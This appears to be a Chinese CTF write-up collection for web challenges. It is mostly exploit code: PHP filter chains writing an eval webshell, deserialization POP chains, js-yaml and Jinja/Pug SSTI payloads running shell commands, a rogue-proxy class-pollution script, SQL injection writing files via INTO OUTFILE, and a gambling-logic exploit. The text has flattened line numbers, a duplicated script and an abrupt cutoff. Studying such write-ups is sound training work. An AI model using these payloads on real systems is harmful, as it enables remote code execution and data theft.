start 的长度可以考虑变长一点,毕竟只要反序列化的时候只要前面对就行了,遇到结束符就不反序列化了。
搞到这里发现可以任意文件读了,但是还是不知道文件名字,怎么办呢?
这里就不得不提到 cnext 了,他能从 phpfilter->RCE 。
给一下仓库地址吧:
cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits · GitHub
跑 cnext-exploits 需要改两个地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def send (self, path: str ) -> Response: read_ = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str (len (path)) + ':"' + path + '";}' read_ = "%9f" * (len (read_) + 1 ) + read_.replace("+" ,"%2b" ) start_ = "a" * (len (path) + 10 ) url = self .url+"?start=" + start_ + "&read=" + read_ print (url) return self .session.get(url) def download (self, path: str ) -> bytes : """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path} " response = self .send(path) data = response.re.search(b"What you are reading is:(.*)" , flags=re.S).group(1 ) return base64.decode(data)
一个是 send 的逻辑要改,还有 download 的正则匹配逻辑要改一下。webshell就写进去了。
关于 filter-chain 的: 任意文件读 1 python filters_chain_oracle_exploit.py --target http://125.70.243.22:31269/chal13nge.php --file '/var/www/html/hI3t.php' --parameter image_path
配合 include 进行 RCE: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php $base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4" ; $conversions = array ('/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4' ,'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' ,'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4' ,'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921' ,'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE' ,'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ,'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE' ,'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2' ,'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' ,'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' ,'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' ,'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213' ,'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' ,'C' => 'convert.iconv.UTF8.CSISO2022KR' ,'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' ,'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT' ,'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB' ,'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90' ,'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213' ,'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213' ,'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4' ,'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE' ,'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC' ,'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T' ,'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4' ,'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775' ,'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB' ,'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2' ,'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4' ,'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS' ,'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103' ,'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' ,'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB' ,'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936' ,'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932' ,'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361' ,'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16' ,'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE' ,'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE' ,'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2' ,'d' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' ,'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937' ,'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213' ,'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8' ,'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE' ,'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000' ,'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16' ,'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2' ,'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE' ,'m' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949' ,'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61' ,'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE' ,'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4' ,'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2' ,'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101' ,'s' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90' ,'t' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS' ,'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61' ,'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932' ,'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE' ,'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS' ,'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT' ,'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' ,); $filters = "convert.base64-encode|" ;$filters .= "convert.iconv.UTF8.UTF7|" ;foreach (str_split (strrev ($base64_payload )) as $c ) {$filters .= $conversions [$c ] . "|" ;$filters .= "convert.base64-decode|" ;$filters .= "convert.base64-encode|" ;$filters .= "convert.iconv.UTF8.UTF7|" ;} $filters .= "convert.base64-decode" ;$final_payload = "php://filter/{$filters} /resource=index.php" ;echo $final_payload ;
安洵杯 2023安洵杯第六届网络安全挑战赛 2023安洵杯第六届网络安全挑战赛 WP - 渗透测试中心 - 博客园
GitHub - D0g3-Lab/i-SOON_CTF_2023: 2023 第六届安洵杯 题目环境/源码
easy_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php error_reporting (0 );class Good { public $g1 ; private $gg2 ; public function __construct ($ggg3 ) { $this ->gg2 = $ggg3 ; } public function __isset ($arg1 ) { if (!preg_match ("/a-zA-Z0-9~-=!\^\+\(\)/" ,$this ->gg2)) { if ($this ->gg2) { $this ->g1->g1=666 ; } }else { die ("No" ); } } } class Luck { public $l1 ; public $ll2 ; private $md5 ; public $lll3 ; public function __construct ($a ) { $this ->md5 = $a ; } public function __toString ( ) { $new = $this ->l1; return $new (); } public function __get ($arg1 ) { $this ->ll2->ll2 ('b2' ); } public function __unset ($arg1 ) { if (md5 (md5 ($this ->md5)) == 666 ) { if (empty ($this ->lll3->lll3)){ echo "There is noting" ; } } } } class To { public $t1 ; public $tt2 ; public $arg1 ; public function __call ($arg1 ,$arg2 ) { if (urldecode ($this ->arg1)===base64_decode ($this ->arg1)) { echo $this ->t1; } } public function __set ($arg1 ,$arg2 ) { if ($this ->tt2->tt2) { echo "what are you doing?" ; } } } class You { public $y1 ; public function __wakeup ( ) { unset ($this ->y1->y1); } } class Flag { public function __invoke ( ) { echo "May be you can get what you want here" ; array_walk ($this , function ($make , $colo ) { $three = new $colo ($make ); foreach ($three as $tmp ){ echo ($tmp .'<br>' ); } }); } } if (isset ($_POST ['D0g3' ])){ unserialize ($_POST ['D0g3' ]); }else { highlight_file (__FILE__ ); } ?>
先手搓一条链子。
我们该如何构造 poc 呢,这里给一个比较简洁的思路。
首先赋值按照顺序赋值,编号蛇形命名法。
1 2 3 4 5 6 7 8 $you_1 = new You ();$luck_1 = new Luck ();$good_1 = new Good ();$to_1 = new To ();$luck_2 = new Luck ();$to_2 = new To ();$luck_3 = new Luck ();$flag_1 = new Flag ();
然后我们按照链子的倒过来顺序赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $flag_1 ->FilesystemIterator ='/' ;$luck_3 ->l1 = $flag_1 ;$to_2 ->t1 = $luck_3 ;$to_2 ->arg1 = "" ;$luck_2 ->ll2 = $to_2 ;$to_1 ->tt2 = $luck_2 ;$good_1 ->g1 = $to_1 ;$good_1 ->gg2 = "$" ;$luck_1 ->lll3 = $good_1 ;$luck_1 ->md5="wSjM90msQ7RqwX3tvQ42" ;$you_1 ->y1 = $luck_1 ;
这样不用再多次动脑了,赢了!
这里读文件/列举目录用到两个原生 php 类。
1 2 $fsacn_ = new FilesystemIterator ();$read_firstline = new SplFileObject ();
非预期解:可以 __toString() 到 __invoke() 衔接的时候可以直接用phpinfo。
What’s my name creat_function
demo:
我们可以试一下,这个编号是怎么变化的。
可以发现,这个是在服务器自增的,除非结束php的进程,刷新网页仍会继续计数。
介绍一个过滤器:
对于HTML来说,它会去除标签保留标签之间的内容
对于php来说,全杀一个不显示。
可以用来绕过死亡 exit 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 先用 strip 去掉 php 代码 然后再用 base64-encode 来解码我们的 webshell ?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 这个payload 也可以绕过死亡 exit,PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 是正常的 b64编码后的 webshell,前面a字母和死亡exit中除了特殊字符外的phpexit组成 8 个 byte,从而绕过 死亡exit的绕过同变量名 bypass php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php 这里 strip_tags 是为了去掉 等号 否则 b64 解码可能到等号就停止了,这样加个 ?> 闭合 然后用 strip_tags 都去掉 php代码,最后留下的就是正经的 这里构造虚拟目录然后再退出,目的就是让文件可读可访问,要不然全是特殊字符。
这题我们用来绕假 flag。
差不多了我们来看逻辑。
要求 xxxxx include 这种正则匹配,并且要求前面是 5 的倍数,后面不要求。
如果 $d0g3 的长度等于 $miao 字符串的最后两个字符的值(转变成后两位)。
这里注意 $miao 这个变量来源就是 %00lambad_num,num 从 1 开始自增。
$name 严格等于 $miao 的值,构造一下嘛。
错误的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import timeimport requestsurl = "http://192.168.42.128:9999/" data = { "d0g3" : """zzzz'"]);}include("php://filter/read=string.strip_tags/resource=admin.php");echo "zzz";/*""" , "name" :"%00lambda_89" } for i in range (1000 ): res = requests.get(url=url, params=data) print (str (i) + ": " + "Requesting" ) if "zzz" in res.text: print (res.text) break else : print ("Waiting" +res.text) time.sleep(1 )
以上 exp %00 会被编码两次,因为默认 param = 里面的会被 URL 编码一次,相当于两次了,无法相等了就。
正确的 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import timeimport requestsurl = "http://192.168.42.128:9999/" for i in range (1000 ): res = requests.get(url=url+"?d0g3=zzzz%27%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'zzzz';/*&name=%00lambda_90" ) print (str (i) + ": " + "Requesting" ) if "zzz" in res.text: print (res.text) break else : print ("Waiting" +res.text) time.sleep(1 )
直接拼接 URL 是不会被编码的!!注意
signal js-yaml,然后yaml.load()会加载为js对象。
在github找 js-yaml 文档说明,怎么解析对象的。
注意版本:
1 npm install js-yaml@3.14.1
这里明显用 function 可以测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 const yaml = require ('js-yaml' );const yamlString = ` "name": { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}" } ` const yamlData = yaml.load (yamlString);output = yaml.dump (yamlData); name_ = yamlData.name ; console .log (name_);console .log (typeof (name_))
1 2 3 { toString : [Function : anonymous] } object
我们想解析一个 tostring 方法出来,因为明显 res.render 渲染的时候,typeof(name) = object ,那么 object => string 肯定要调用 tostring,我们只需要重写 tostring 即可。
Swagger docs HTTP流量截断 发现存在任意文件读取,读下来之后发现 update() 函数中存在类似于原型链污染,可以利用来修改环境变量。这里拜读文章之后发现可以用 http_proxy 在服务端截断流量直接控制返回结果,再利用 render_template_string 触发 SSTI,执行系统指令。
关键逻辑部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/api-base/v0/search' , methods=['POST' ,'GET' ] ) @auth def api (): if request.args.get('file' ): try : if request.args.get('id' ): id = request.args.get('id' ) else : id = '' data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file' ) + '&id=' + id ) if data.status_code != 200 : return data.status_code if request.args.get('type' ) == "text" : return render_template_string(data.text)
http代理转发脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from http.server import HTTPServer, BaseHTTPRequestHandlerclass ProxyHandler (BaseHTTPRequestHandler ): def do_GET (self ): if "users" in self .path: print (f"拦截到请求: {self.path} " ) self .send_response(200 ) self .send_header('Content-type' , 'text/html' ) self .end_headers() payload = "{{lipsum.__globals__['os'].popen('ls').read()}}" self .wfile.write(payload.encode()) else : self .send_response(200 ) self .send_header('Content-type' , 'text/html' ) self .end_headers() self .wfile.write(b"Normal response" ) if __name__ == '__main__' : server = HTTPServer(('0.0.0.0' , 8080 ), ProxyHandler) print ("代理服务器运行在 8080 端口..." ) server.serve_forever()
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 import requestsimport jsonTARGET = "http://192.168.42.128:22401" PROXY = "xxxxx:8080" def register (username, password ): """注册账号""" url = f"{TARGET} /api-base/v0/register" data = { "username" : username, "password" : password } response = requests.post(url, json=data) print (f"注册响应: {response.status_code} - {response.text} " ) return response def login (username, password ): """登录获取token""" url = f"{TARGET} /api-base/v0/login" data = { "username" : username, "password" : password } response = requests.post(url, json=data) print (f"登录响应: {response.status_code} " ) if response.status_code == 200 : token = response.cookies.get('token' ) print (f"获取到token: {token} " ) return token, response.cookies return None , None def update_password (cookies, payload ): """更新密码并污染原型链""" url = f"{TARGET} /api-base/v0/update" response = requests.post(url, json=payload, cookies=cookies) print (f"更新密码响应: {response.status_code} - {response.text} " ) if response.status_code == 200 : new_token = response.cookies.get('token' ) print (f"更新后的token: {new_token} " ) return new_token, response.cookies return None , cookies def search (cookies, file="user" , type ="text" ): """发送搜索请求触发SSTI""" url = f"{TARGET} /api-base/v0/search" params = { "file" : file, "type" : type } response = requests.get(url, params=params, cookies=cookies) print (f"搜索响应状态码: {response.status_code} " ) print (f"搜索响应内容: {response.text} " ) return response def main (): username = "admin" password = "admin" print ("=== 开始攻击流程 ===" ) print ("\n[1] 注册账号" ) register(username, password) print ("\n[2] 登录获取token" ) token, cookies = login(username, password) if not token: print ("登录失败!" ) return print ("\n[3] 污染原型链设置代理" ) pollution_payload = { "__init__" : { "__globals__" : { "os" : { "environ" : { "http_proxy" : PROXY } } } } } new_token, new_cookies = update_password(cookies, pollution_payload) if new_token: cookies = new_cookies print ("\n[4] 发送搜索请求触发SSTI" ) search(cookies) if __name__ == "__main__" : main()
污染 exported 【Web】2023安洵杯第六届网络安全挑战赛 WP-CSDN博客
1 __init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported[0 ]
可以污染下面的值来利用 render_template_string 去 RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "__init__" : { "__globals__" : { "__loader__" : { "__init__" : { "__globals__" : { "sys" : { "modules" : { "jinja2" : { "runtime" : { "exported" : [ "*;__import__('os').system('ls /app > /result1');#" ] } } } } } } } } } }
在 Jinja2 的源代码中,我们知道渲染函数实际上调用了 environment.from_string,该函数随后调用 environment.compile 并返回一个由 __builtins__.compile 生成的代码对象。这个代码对象最终会被执行,如果我们能够控制这个代码对象,就能实现 RCE。
经过一些调试,我们发现一个名为 exported 的变量被添加到了源代码中,并在之后被编译进了代码对象。不难发现,它是 jinja2.runtime 中的一个字符串数组,因此我们可以来修改它,从而实现 RCE。
TFCCTF 2024 GREETINGS PugJs 的 SSTI
1 #{global .process .mainModule .require ('child_process' ).execSync ('cat+f*' )}
SAFE_CONTENT 直接省略秒了
1 2 echo file_get_contents ("data:/localhost;base64,MjAyNA==" );$exp = base64_encode (base64_encode ("`cat /f* > /var/www/html/1.txt`" ));
FLASK DESTROYER mysql 写文件:
1 2 username=admin"%3bselect+'success!'+into+outfile+'/destroyer/app/static/test.html'%3b--%2b&password=123&vibe=y username=admin";select "{{config.__class__.__init__.__globals__['os'].popen('cat /tmp/*/*/*/*').read()}}" into outfile '/destroyer/app/templates/test.html';--+&password=123&vibe=y
利用代码逻辑:
1 username=admin";update user set password = '123:' where username = 'admin';--+&password=123&vibe=y
FUNNY 详见中间件安全。
LA CTF 2025 arclbroth 外部C语言库用 \u000 进行 SQL 注入截断。
LakeCTF 25-26 quals gamblecore 第一次下注 9.9999991,如果中了直接刷新 session 开启下一局,如果没中: 用 parseInt 的特性:
因为 parseInt() 总是将其第一个参数转换为字符串,所以小于 10 的浮点数 -6 以指数符号书写。然后 parseInt() 从浮点数的指数符号中提取整数。 所以这里兑换 9 个硬币得到0.09美元,然后下注10次:0.09,0.9,1,1,1每次都检测自己的余额,如果大于等于10立刻调用接口购买 flag。
预期概率大概是 9%*9% 拿到 flag。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 import requestsimport timeimport sysBASE_URL = "https://chall.polygl0ts.ch:8148" def get_session (): """获取新的会话""" session = requests.Session() session.timeout = 10 return session def get_balance (session ): """获取余额""" try : response = session.get(f"{BASE_URL} /api/balance" , timeout=5 ) if response.status_code == 200 : data = response.json() coins = float (data.get('coins' , 0 )) usd = float (data.get('usd' , 0 )) return coins, usd except Exception as e: print (f"获取余额失败: {e} " ) return 0.0 , 0.0 def gamble (session, currency, amount ): """下注""" try : payload = {'currency' : currency, 'amount' : amount} response = session.post(f"{BASE_URL} /api/gamble" , json=payload, timeout=5 ) if response.status_code == 200 : return response.json() elif response.status_code == 400 : return response.json() except Exception as e: print (f"下注失败: {e} " ) return None def convert_coins (session, amount ): """转换硬币为美元""" try : payload = {'amount' : amount} response = session.post(f"{BASE_URL} /api/convert" , json=payload, timeout=5 ) return response.json() except Exception as e: print (f"转换失败: {e} " ) return None def buy_flag (session ): """购买flag""" try : response = session.post(f"{BASE_URL} /api/flag" , timeout=5 ) if response.status_code == 200 : return response.json() else : return response.json() except Exception as e: print (f"购买flag失败: {e} " ) return None def smart_gamble_usd (session, initial_usd ): """智能下注策略""" current_usd = initial_usd attempts = 0 max_attempts = 20 while current_usd < 10.0 and attempts < max_attempts: attempts += 1 if current_usd < 0.1 : bet_amount = max (current_usd * 0.99 , 0.000001 ) elif current_usd < 1.0 : bet_amount = 0.09 else : bet_amount = min (current_usd * 0.9 , 1.0 ) bet_amount = min (bet_amount, current_usd * 0.99 ) import requestsimport reimport timeimport sysimport mathBASE_URL = "https://chall.polygl0ts.ch:8148" def get_session (): """获取新的会话""" session = requests.Session() session.timeout = 10 return session def get_balance (session ): """获取余额""" try : response = session.get(f"{BASE_URL} /api/balance" , timeout=5 ) if response.status_code == 200 : data = response.json() coins = float (data.get('coins' , 0 )) usd = float (data.get('usd' , 0 )) return coins, usd except Exception as e: print (f"获取余额失败: {e} " ) return 0.0 , 0.0 def gamble (session, currency, amount ): """下注""" try : if isinstance (amount, str ): amount = float (amount) payload = {'currency' : currency, 'amount' : amount} response = session.post(f"{BASE_URL} /api/gamble" , json=payload, timeout=5 ) if response.status_code == 200 : return response.json() elif response.status_code == 400 : data = response.json() print (f"下注失败: {data.get('error' , 'Unknown error' )} " ) return data except Exception as e: print (f"下注失败: {e} " ) return None def convert_coins (session, amount ): """转换硬币为美元""" try : payload = {'amount' : amount} response = session.post(f"{BASE_URL} /api/convert" , json=payload, timeout=5 ) return response.json() except Exception as e: print (f"转换失败: {e} " ) return None def buy_flag (session ): """购买flag""" try : response = session.post(f"{BASE_URL} /api/flag" , timeout=5 ) if response.status_code == 200 : return response.json() else : data = response.json() print (f"购买flag失败: {data.get('error' , 'Unknown error' )} " ) return data except Exception as e: print (f"购买flag失败: {e} " ) return None def exploit (): print ("开始攻击..." ) attempt_count = 0 while True : attempt_count += 1 print (f"\n{'=' * 60 } " ) print (f"尝试 #{attempt_count} " ) print (f"{'=' * 60 } " ) session = get_session() try : coins, usd = get_balance(session) print (f"初始余额: {coins:.15 f} coins, ${usd:.2 f} USD" ) bet_amount = 0.0000099999991 print (f"第一步:下注 {bet_amount:.15 f} coins ({bet_amount * 1e6 :.6 f} 微硬币)" ) result = gamble(session, 'coins' , bet_amount) if not result: print ("下注请求失败,重新开始..." ) continue if result.get('win' ): print (f"恭喜!第一次就赢了!赢得: {result.get('winnings' , 0 )} coins" ) print (f"新余额: {result.get('new_balance' , 0 )} coins" ) print ("刷新会话重新开始..." ) continue else : print ("第一步:输了(符合预期)" ) print (f"输掉: {bet_amount:.15 f} coins" ) coins_after_loss, usd_after_loss = get_balance(session) print (f"输后余额: {coins_after_loss:.15 f} coins" ) print (f"注意:现在有 {coins_after_loss:.15 e} coins,这是关键!" ) print (f"第二步:尝试兑换 9 个硬币(利用parseInt漏洞)" ) convert_result = convert_coins(session, 9 ) if convert_result: if convert_result.get('success' ): print (f"兑换成功!: {convert_result.get('message' , '' )} " ) else : print (f"兑换失败: {convert_result.get('error' , 'Unknown error' )} " ) continue else : print ("兑换请求失败" ) continue coins_after_convert, usd_after_convert = get_balance(session) print (f"兑换后余额: {coins_after_convert:.15 f} coins, ${usd_after_convert:.6 f} USD" ) print ("第三步:用美元下注积累到$10+" ) bets = [0.09 , 0.8 , 1 , 1 , 1 , 1 , 1 ] current_usd = usd_after_convert bet_index = 0 max_bets = len (bets) while current_usd < 10.0 and bet_index < max_bets: bet_amount = bets[bet_index] bet_index += 1 if current_usd < bet_amount: print (f"余额不足下注 ${bet_amount} ,跳过..." ) continue print (f" 下注 ${bet_amount:.2 f} (当前余额: ${current_usd:.6 f} )" ) result = gamble(session, 'usd' , bet_amount) if not result: print (" 下注请求失败" ) continue if result.get('win' ): winnings = float (result.get('winnings' , 0 )) print (f" 赢了!赢得: ${winnings:.2 f} " ) else : print (f" 输了..." ) _, current_usd = get_balance(session) print (f" 当前USD余额: ${current_usd:.6 f} " ) time.sleep(0.3 ) print (f"\n第四步:检查余额 (${current_usd:.6 f} )" ) if current_usd >= 10.0 : print (f"余额足够!尝试购买flag..." ) flag_result = buy_flag(session) if flag_result and 'flag' in flag_result: print (f"\n{'=' * 60 } " ) print (f"🎉 成功获取flag: {flag_result['flag' ]} " ) print (f"{'=' * 60 } " ) return flag_result['flag' ] else : print (f"购买flag失败,继续尝试..." ) else : print 